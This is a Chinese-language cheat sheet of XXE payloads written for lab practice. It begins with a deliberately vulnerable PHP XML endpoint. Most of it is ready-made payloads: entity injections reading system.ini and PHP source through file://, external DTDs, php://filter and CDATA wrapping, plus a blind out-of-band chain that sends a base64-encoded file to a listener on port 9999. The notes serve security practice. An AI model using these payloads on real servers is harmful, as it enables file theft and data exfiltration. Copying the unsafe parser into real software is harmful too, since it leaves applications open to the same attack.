XXE_payload

<?php
    $xmlfile = file_get_contents('php://input');
    $creds=simplexml_load_string($xmlfile);
    echo $creds;
?>

1 回显的类型

1.1

POC:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]> 
<creds>&goodies;</creds>

1.2

与1.1不同的是，引入的外部的dtd

POC:

**********
post提交的数据:
<?xml version="1.0"?> 
<!DOCTYPE creds  SYSTEM "http://127.0.0.1/test/evil.dtd">
<creds>&b;</creds>
**********
http://127.0.0.1/test/evil.dtd的数据
<!ENTITY b SYSTEM "file:///c:/windows/system.ini">

1.3

********
post:
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY % goodies SYSTEM "http://127.0.0.1/test/evil.dtd"> 
%goodies;
]> 
<creds>&b;</creds>
********
evil.dtd
<!ENTITY b SYSTEM "file:///c:/windows/system.ini">

1.4

<table><tr><td bgcolor=orange>当里面含有<,&时候，上边的方法用file协议读不出文件</td></tr></table>

1.41

若是是php的话，能够用php的filter协议直接读出文件

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY goodies SYSTEM "php://filter/read=convert.base64-encode/resource=index.php"> ]> 
<creds>&goodies;</creds>

1.42

<![CDATA["和 “]]> 拼接引用的内容，就能够正常输出

**********
post提交的数据:
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">   
<!ENTITY % goodies SYSTEM "file:///C:/softeware/phpstudy/PHPTutorial/WWW/test/index.php">  
<!ENTITY % end "]]>">  
<!ENTITY % dtd SYSTEM "http://127.0.0.1/test/evil.dtd"> 
%dtd; ]> 

<roottag>&all;</roottag>
*********
evil.dtd的内容
<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%goodies;%end;">

2 无回显

2.1

**********
post:
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://127.0.0.1/test/evil.dtd">
%remote;%int;%send;
]>
**********
evil.dtd的内容
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/test/flag.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://127.0.0.1:9999?p=%file;'>">
***********
python3 -m http.server 9999

3总结一下本身老出错的地方

最后引用实体的时候，老忘了打分号。<creds>&goodies;</creds>

没有回显的时候，要注意用filter结合file的绝对路径

filter能够不用绝对路径，可是有时候你是访问你的index.html，php文件不必定是index.php。

靶场练习；

https://github.com/c0ny1/xxe-lab

http://web.jarvisoj.com:9882/